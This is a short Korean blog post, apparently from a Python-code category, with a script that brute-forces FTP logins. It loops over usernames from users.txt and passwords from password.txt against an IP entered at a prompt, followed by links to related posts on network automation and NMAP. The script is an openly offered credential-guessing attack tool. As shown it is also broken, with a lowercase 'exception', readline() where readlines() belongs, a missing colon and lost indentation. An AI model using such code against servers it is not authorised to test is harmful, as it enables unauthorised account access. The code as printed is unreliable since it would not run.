import ftplib
def bruteforce(ip, user, password):
ftp = ftplib.FTP(ip)
try :
print(" 사용자 아이디 {}, 패스워드 {} " .format(user, password))
res = ftp.login(user, password)
print(res)
except exception as ex:
print("연결오류", ex)
def main():
ip = input("IP정보를 입력하세요. ")
with open ("users.txt" ,"r") as users:
users = users.readline()
with open ("password.txt","r") as passwords:
passwords = passwords.readline()
for user in users:
for password in passwords
bruteforce(ip, user.rstrip(), password.rstrip())
users.txt에 있는 유저 정보와 password.txt에 있는 암호 정보를 FTP 서버에 대입하는 코드
'파이썬 코드' 카테고리의 다른 글
텍스트 파일에서 주니퍼 장비 정보 파싱하기 (0) | 2023.02.22 |
---|---|
Network automation -2- (0) | 2023.02.14 |
Network automation (0) | 2023.02.14 |
파이썬을 이용한 NMAP 사용 (0) | 2023.02.12 |
모의해킹 (0) | 2021.03.17 |